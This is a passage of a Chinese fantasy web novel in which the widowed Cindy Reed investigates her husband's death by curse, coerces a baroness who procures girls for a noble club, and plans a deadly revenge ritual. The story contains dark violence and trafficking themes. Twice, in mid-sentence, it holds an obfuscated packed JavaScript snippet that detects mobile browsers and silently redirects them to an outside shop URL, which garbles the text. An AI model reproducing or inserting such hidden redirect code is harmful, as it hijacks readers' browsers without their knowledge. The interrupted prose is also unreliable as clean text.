我想您的动作已经触动了一部分人的利益，或许他们会采用此类的手段对您的生命产生妨害。 据我所知，有一种巫术可以让被害者的心脏莫名其妙产生尖锐的痛感，原理类似于阿卡索王子将您的病痛转移到石头上，让河水带走。 施术者会用某种手段将橘子或者别的什么动物的心脏与目标的心脏相连，如此施术者在揉捏橘子的时候，目标的心脏也会觉得被攥紧。 我不知道这种巫术的防御手段，建议您采取一定的措施，我认为您至少需要三位术士为您和王子的日常生活做出防护。 关于在阿卡索王国售卖化妆品的想法，我和珍妮曾经对此有过讨论。因为寒冷的气候，化妆品的很多原料在阿卡索王国难以获取，所以我们并不计划开设工厂。 不过我们可以将亚基亚德□□产的化妆品运输到阿卡索王国，这样一来路线是一个大问题。 或许您可以推动修建一条商路，这是一笔不错的买卖，商人们想必也愿意为此捐款。 涉及到您的安全，希望您能认真考虑我关于术士的建议。 希望您在阿卡索□□活愉快，一切顺利，在此献上我最衷心的祝愿。 您忠诚的辛蒂·里德 28. 遗产 把自己关在房间里一个星期之后，重新出现在众人面前的里德夫人再也看不到从前的天真柔软，原来透亮的蓝眼睛变得沉沉的，似乎随时都在酝酿着风暴。 管家则松了口气，要是里德夫人一蹶不振，他们就要再次向戈尔曼夫人求助了，无论如何，里德府偌大的产业都需要有人打理。 从里德伯爵的葬礼后一直都守在康特赛德庄园的律师团队出现在了辛蒂的面前，开始向伯爵的遗孀交代遗产事宜。 维尔图斯对于自己的死亡做出了充分的准备，在他早早就立好的遗嘱里，除了留给姐姐捷琳娜的嫁妆，辛蒂几乎继承了他的所有财产。 这些财产包括大约十万金币的现金、二十多个上好地段的商铺、五家大型工厂等等，当然，这些都是可以写出来的明面上的财富。 此外，维尔图斯还建立起了一个颇为隐蔽的消息网，之前亨利王子的消息维尔图斯就是通过这条渠道得知的。 现在，这些东西都是辛蒂的了。 这可以说是辛蒂嫁给维尔图斯之前预设的最好不过的情况，她成为了一个自由的寡妇，拥有了一大笔这辈子都挥霍不完的财富，未来还有足够的资源供她研究魔法。 可是辛蒂并不喜悦，维尔图斯给她的越多，她的痛苦就越深。 她现在才知道，在她不知道的地方，维尔图斯为了维持过去两年的辛蒂以为的平静生活原来花了那么多精力。 她的商人父亲从没来烦过她，不是因为敬畏，而是维尔图斯已经用了大把的资源让他吃得满嘴流油。 莫罗夫人曾经带着艾米利亚和西尔维亚上门，希望辛蒂能帮助两个继姐找到好丈夫，她们还没见到辛蒂就被维尔图斯挡了回去。 还有那些关于一个商人的女儿凭什么成为伯爵夫人的言论，在传到辛蒂的耳朵之前就被清理干净了。 甚至连里德府里的仆人都经过了一遍遍的筛查，务必不让女主人感到一丝不愉快。 现在辛蒂重新领会到了维尔图斯死前最后说的话，“没有人会像我一样爱你”，是的，再也不会有人像维尔图斯一样爱她了。 辛蒂面无表情地检视着管家给她的账簿，她划掉了每个月给詹姆斯的500金币的投资，并吩咐管家以后不需要对詹姆斯的生意予以格外优待。 每个月为她定做服装和首饰的支出也要削减；去东方寻找厨师的队伍让他们返程；还有许许多多围绕着她的支出，大部分都要切掉。 这些都是维尔图斯为了给她打造出童话一样的幸福生活的支出，辛蒂认为自己现在没有资格享受这些东西。 她现在唯一的目标就是为维尔图斯复仇，让所有该死的人都滚去地狱。 一个月后，新寡的里德夫人回到了都城，这个消息在贵族中掀起了一阵小小的波澜。 里德夫人的美貌众所周知，而且所有人都认为，女人，尤其是美丽的女人，是不太可能独身的。 已经有赌局在猜测里德夫人会成为谁的情妇，其中亨利王子的赢面最大。 消息灵通的埃莉诺·杜卡斯带着乔瓦娜的问候来到了里德府。 “辛蒂，你比之前在伯爵葬礼的时候瘦了许多。” “最近新上的剧目很有意思，有空我们可以一起去看。” “里德府似乎冷清了不少，是不是应该再添些人了？” 埃莉诺尽可能扯一些乱七八糟的话题，让氛围不那么沉重，她有点不适应沉静异常的辛蒂。 维尔图斯的去世让里德府人心浮动，辛蒂刚刚清理了一批心思不太老实的仆人。 原本维尔图斯挑选的管家十分忠心，可是他因为男主人的去世过度操劳，最近竟然生病了，辛蒂于是主动接过了这些事务。 以前有维尔图斯和管家压着，女管家还算老实。辛蒂管家后，她觉得这位年轻的里德夫人不懂这些琐事，竟然想要拿捏辛蒂。 辛蒂确实不太懂，不过她的灵性能帮助她分辨出心思不纯的人，找个借口辞退了女管家还有她的附庸者，里德府清净了许多。 辛蒂微微颔首，蓝色的眼睛竟然让人有些看不透：“我没事，不如跟我说说最近有哪些新闻？” 埃莉诺本来还想跟辛蒂聊聊维尔图斯，她认为辛蒂现在是在压抑着自己的情绪，发泄出来会好很多。 而辛蒂显然不想说这些，埃莉诺只好挑了一些有趣的事告诉她。 “亨利王子最近解除了禁足，奇怪的是，他似乎对塞拉菲娜产生了兴趣，好些人看到他们在一起呢。” 亨利王子的名字让辛蒂眯起了眼睛，他在她的怀疑名单之中，不过优先级不高，她最怀疑的是地狱之火俱乐部的人，尤其是那些被削减了爵位的先生们。 她通过消息网得到了一份名单，主要是朱利安·伯克利公爵以及伊莱·冯公爵，这两位是地狱之火俱乐部的主要成员，这次一个被削减爵位为侯爵，一个被剥夺了封地。 这两位在国王陛下的威慑下，未必敢对那些逃出来的女孩们动手，却肯定对于始作俑者恨之入骨，他们是辛蒂最怀疑的对象。 不过这里有一个疑点，他们为什么不诅咒她而是维尔图斯呢？她很确信自己没有感受到任何遭到诅咒的迹象。 其次就是亨利王子，他想要得到她，害死维尔图斯的动机最大。 辛蒂同样怀疑塞拉菲娜和罗莎，不过她们虽然跟她有点小小的恩怨，动机却没有强到要特意找人诅咒。 而且同样的，她们更应该诅咒她才对，而不是维尔图斯。 辛蒂的怀疑无法依靠占卜确认，因为涉及到一个比她强大得多的术士，她的占卜基本都被无效化了，她只能靠别的手段。 维尔图斯的消息网为辛蒂送来她所有怀疑人员最近的动向，看起来没什么特别的。 地狱之火的人都老实得跟鹌鹑一样，一点动静都没有，亨利王子最近刚解除禁足，没什么动作。 值得注意的是，之前维尔图斯离开都城的时候让他们查的关于流浪诗人的指使者有了眉目。 这并不是什么隐秘的事，之所以到现在才有结果完全是由于这位流浪诗人因为坑蒙拐骗被丢进了大牢，直到最近才被放出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760631|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 前段时间的事情太多，消息网里是否需要采取进一步行动的请示被忽略了，以至于到这个流浪诗人出来后他们才“问”到了花钱让他散播里德夫人的美貌的人。 于是辛蒂意外得知了这个人竟然就是当时在场，还对辛蒂态度莫名怪异的男爵夫人，塞拉菲娜。 结合她最近的一些别的消息，和亨利王子走得很近之类的，辛蒂认为她应该知道许多事。 辛蒂决定主动拜访塞拉菲娜，她现在一定很替辛蒂感到“高兴”，两个寡妇的会面，想想就很有意思。 辛蒂正要出门，意外来客找上门来。 詹姆斯带着莫罗夫人以及她的两个继姐来了，同时还有塞满了马车的大包小包。 辛蒂挑挑眉，停住了欲上马车的步子：“你们来做什么？” 詹姆斯露出一个讨好的笑容，他最近胖了不少，原本还看得过去的脸多了几分油腻。 “小辛蒂，听说你回来了，我和你母亲来陪你住几天，免得你寂寞。” 说着，他就要指挥仆人往房子里搬运行李。 不过没有仆人听从他的命令，最近辛蒂清扫了一遍里德府，正是威望最盛的时候，没有她的话，没有人敢轻举妄动。 一时间局面僵住了，莫罗夫人刻意做出亲昵的姿态道：“小辛蒂，你一个小女孩怎么把持得住这么大一个里德府呢，你需要帮助。” “里德伯爵去世了，这些仆人不一定会听你的话。” “我们是家人，在这种时候就应该共度难关。” 要是辛蒂12岁，说不定就被莫罗夫人的话唬住了，可是辛蒂现在已经20岁了，这样的话只让她露出了嘲讽的笑。 多跟他们说上一句话都是浪费时间，辛蒂现在已经完全不需要跟他们周旋了，直接吩咐管家送客。 随即辛蒂坐上马车率先离开，不再理会后面的四个人的大呼小叫。 苍蝇的嗡嗡声终究烦人，辛蒂想了想，吩咐下面的人给詹姆斯的生意找些麻烦，同时给莫罗夫人的女儿介绍一些表面上看上去不错的绅士。 这些应该够他们忙上一段时间了，运气好的话他们再也不会有空来骚扰里德府。 辛蒂突如其来的拜访让塞拉菲娜觉得十分意外，她的日子显然十分好过，身上不再有需要遮掩的伤痕，脸色红润极了，衣裙穿戴无一不奢侈。 塞拉菲娜请辛蒂在客厅坐下，这里正好可以看到花园，之前辛蒂放的火已经完全没有了痕迹，花园的窗景就像辛蒂想象中一样宜人。 塞拉菲娜不知道辛蒂的来意，但是不妨碍她对比自己和辛蒂的情况，进而产生浓浓的优越感。 伯爵夫人怎么样，住的房子没她大，经济看来也不如她富裕，不过是虚衔。 长得美又怎么样，最后只能成为别人的玩物。 塞拉菲娜沉浸在自己的世界里，辛蒂的第一句话就让她的优越感破了一个洞。 “你还在为地狱之火俱乐部做那些买卖平民少女的勾当吗？” 塞拉菲娜慌乱了一瞬，随即立马掩饰 29. 寡妇 辛蒂嘴角的笑意愈发明显：“你知道布莱克男爵是地狱之火俱乐部的替死鬼，还敢继续做那些勾当，我不得不佩服你的胆量。” 作为布莱克男爵的遗孀，塞拉菲娜确实什么都清楚。 成为第五任男爵夫人，塞拉菲娜没有选择。布莱克男爵沾上的小姐，谁敢跟他抢？敢的看不上塞拉菲娜，看得上塞拉菲娜的先生害怕布莱克男爵的背景。 婚后的生活当然不好过，有时候被折磨得只剩一口气了，塞拉菲娜就会想到辛蒂，一个商人的女儿，没有本事也没有手段，凭什么过得比她好？ 比起害她至此的莫罗夫人，塞拉菲娜更恨辛蒂，原本落到这个处境的是她才对。 布莱克男爵有一间专门的他称之为放纵室的房间，里面有各种各样的道具，从简单的绳索手铐，到和牢房里一样的烙铁之类的刑具，可以说是应有尽有。 塞拉菲娜每天都会体验到不一样的东西，她实在是忍受不了日复一日的折磨，而且逐渐的，布莱克男爵的道具已经脱离了情趣的范畴了。 她知道，到他使用完所有道具，对她失去兴趣那天，就是她的死期。 终于有一天，塞拉菲娜把陪伴自己从小一起长大的女仆给了他，那天她睡了个好觉，女仆死不瞑目的双眼竟然没能让她产生什么情绪波动。 她只觉得庆幸，还好死的不是她。 自认为找到了办法的塞拉菲娜开始为布莱克男爵寻找年轻貌美的处女。 把目光投向外面的世界后，塞拉菲娜发现自己以前实在是太愚蠢了。打着高薪聘请女仆的旗号，天真的乡村少女们甚至都城里的平民女孩简直前仆后继，取之不尽。 这些新鲜的□□虽然不能完全让塞拉菲娜免除折磨，却也让她轻松了不少。 布莱克男爵很欣赏塞拉菲娜的聪明，他开始真正把塞拉菲娜当作自己的妻子，还告诉了她关于地狱之火俱乐部的事。 这些事只是听着塞拉菲娜就觉得浑身发冷，为了避免自己会有这样的下场，她更加尽心尽力地为男爵甚至为整个地狱之火俱乐部的大人们搜寻“耗材”。 安娜公主的故事让塞拉菲娜有了点别的想法，为什么辛蒂可以做高高在上的伯爵夫人，她也要把她拖到这个泥潭里。 她不敢直接告诉男爵她的想法，而是买通了一个吟游诗人，让他想方设法最好让整个亚基亚德王国的人都知道辛蒂的美貌。 盛名之下狂蜂浪蝶必然蜂拥而至，地狱之火俱乐部的人会囚禁一位美丽的公主，未必就不想囚禁比安娜公主还美的伯爵夫人。 可惜这个计划还没有施行多久，布莱克庄园事发，男爵被处以绞刑。 塞拉菲娜高兴之余，开始惶恐自己的处境。她生怕自己遭到连累，毕竟那些女孩都是她骗来的。 好在地狱之火俱乐部的人觉得她好用，并没有让她和布莱克男爵落到一样的下场，甚至还保住了她男爵夫人的地位以及一部分财富。 当然，明面上她继承了所有男爵的遗产，实际上男爵的财富被那些大人们瓜分得差不多了，她几乎只留下了布莱克庄园和一些现金，仅仅足够生活。 为了保住小命，也为了金币，即使没有了布莱克男爵的逼迫，塞拉菲娜还是继续帮地狱之火俱乐部搜寻少女，只不过这次她学聪明了，去更偏僻的地方，行事更加隐秘。 只是这些事，辛蒂·里德是怎么知道的？ 看到塞拉菲娜的脸色难看，辛蒂凑到她的耳边：“再告诉你一件你不知道的事。” “你就没想过为什么布莱克男爵会因为囚禁平民被判处死刑吗，贵族有豁免权不是么。” “让我告诉你吧，地狱之火俱乐部引诱了不该引诱的人——亨利王子，这是国王陛下发泄怒火的结果。” “你猜猜看亨利王子一解除禁足就来找你这么一个不美丽的寡妇，国王陛下会怎么想？” “一个恬不知耻的寡妇，为了攀附权贵，再次引诱向好的亨利王子进入深渊。”辛蒂的耳语对塞拉菲娜来说像极了恶魔的低语，让她不禁打了一个寒战。 塞拉菲娜惨白的面色让辛蒂觉得很有意思，像是即将和朋友谈论一个小八卦，她的语气带上了几分愉悦。 “我不介意提前告诉国王陛下这件小事，他不会管教自己的儿子，只能管管王子身边的人了。” 像是抓到了什么救命稻草，塞拉菲娜强作镇定地威胁辛蒂道：“你就不怕遭到王子和地狱之火俱乐部的报复吗？” 她的话让辛蒂大笑，笑出了声音和眼泪。 辛蒂一字一顿：“让他们尽管来好了。” 在塞拉菲娜看疯子一样的目光中，辛蒂用手帕按按眼角的泪花，她的语气恢复了平淡：“我可以帮你脱离他们的掌控，离开亚基亚德王国，去一个别的什么国家开启新生活。” “不过你得帮我办一件事。” 眼下塞拉菲娜面前的道路无疑是艰难的，辛蒂的话她不得不信，依靠地狱之火俱乐部绝不是长久之计，她早晚会成为下一个替死鬼。 相信辛蒂似乎是一个更优的选择，还能有一丝活着的希望。否则国王陛下知道了她，这更是死路一条。 塞拉菲娜没有犹豫太久，答应了辛蒂的条件。 辛蒂不怕她撒谎，没人能骗得过辛蒂的灵性，从她的气场颜色也能看出塞拉菲娜已经完全生不起反抗的心思了。 塞拉菲娜将她知道的关于地狱之火俱乐部的事全部告诉了辛蒂。 从成员到各自的癖好，十分详尽，比消息网给的全面许多。亨利王子竟然是其中玩得最大的那一个，其他人比起亨利王子，只能算是增加情趣。 亨利王子看上去是一个很温柔的绅士，这种温柔对于他的妻子和情人来说表里如一。 只有塞拉菲娜和少数人知道，要想让亨利王子尽兴，非得一条人命才行。 更少有人知道的是，安娜公主正是死在亨利王子手里，那一天对于亨利王子来说是最为甘美的回忆，值得在夜深人静的时候反复回味品尝。 尊贵的地位，美丽的容貌，这些都是极好的兴奋剂，再也不会有比那更好的体验了。 亨利王子如此已经称得上暴虐了，这个的严重程度和其他人的小癖好完全在两个等级，怪不得塞拉菲娜如此心虚，只是稍稍一威胁就妥协了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760632|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过除此以外塞拉菲娜就没什么知道的东西了，说得难听些，她跟那些库里特斯街的鸨母本质上没什么两样，甚至更为不堪，她还还出卖人命。 辛蒂问她最近有没有发生什么让她觉得怪异的事，她还真想出来一桩。 “地狱之火俱乐部的成员一般都很稳定，只接受严格审查后的老带新，而且必须是贵族。” “大概一个半月前，冯公爵大人带了一个不是贵族的很奇怪的男人来，他穿着黑色的长袍，似乎对女人并无兴趣，只是坐了一会就走了，后面再也没见过他。” 辛蒂神色一动，一个半月前穿黑色长袍的男人，时间和特征都能对上。 “他是不是面容十分普通，见之即忘？” 塞拉菲娜点点头，她确实已经想不起来那个男人的样子了。 辛蒂的神色暗了下来，让塞拉菲娜无端想到了阴天的湖水。 “关于这个男人，我需要你尽可能回想，告诉我关于他的一切信息。” 塞拉菲娜想要反驳，时间都过去那么久了，不过只见过一面，她还能想到什么细节？ 不过辛蒂的神色实在难看，她不敢拒绝，只好绞尽脑汁冥思苦想，还真让她想起来一点有价值的东西。 “哦对！他们称呼那个男人为索西尔，这个名字有点奇怪，我才有点印象。” 索西尔，和魔鬼签订契约的人么，是他没错了。 术士的名字在辛蒂的唇齿间回荡，像是要用牙齿把这两个字磨得粉碎。 不过辛蒂还需要进一步验证一下，在一无所知的时候，辛蒂难以得到准确的占卜结果，不过现在知道了一个名字，占卜会变得容易些。 “索西尔是害死维尔图斯的术士吗？” 她迫不及待地借用了更衣室进行占卜，灵摆给了肯定的答案，辛蒂松了口气。 感谢塞拉菲娜，她的仇恨终于有了确切的对象。就凭这一点，在塞拉菲娜完成了自己应该做的事后，她会给她一个爽快些的死法。 告诉塞拉菲娜她要做的事后，辛蒂急切地赶回了里德府，她要把自己的恨意全部酿成毒液，灌进那个名字里，索西尔。 能被一本基础书籍作为例子引用的，不是最经典的就是最简单的，《神秘学起源》中的和魔鬼的交易仪式属于前者。 达成仪式的实施难度一般，初学者或许可以做到，却鲜少有人愿意付出那样大的代价。 不过过程很具有教学价值，所以也被详细列了出来。 在辛蒂看来，这个仪式简直是为她而生的，可以无视她和索西尔之间的能力差距，一击索命，唯一的缺点是只能用一次。 在这个仪式中，施术者唯一的筹码就是生命，辛蒂略略计算了一下，为了达成目标，她至少要付出去半条命才行。 所以只能用一次，她没有更多的生命力可以继续作为筹码了。 较为罕见的是，这个仪式是有明确的破解办法的，索西尔如果选择流失同等的生命，便可以保住性命，达成魔鬼两边通吃的局面。 当然辛蒂不会给索西尔这样的机会，为此她愿意赌上更多，以确保他无法翻身。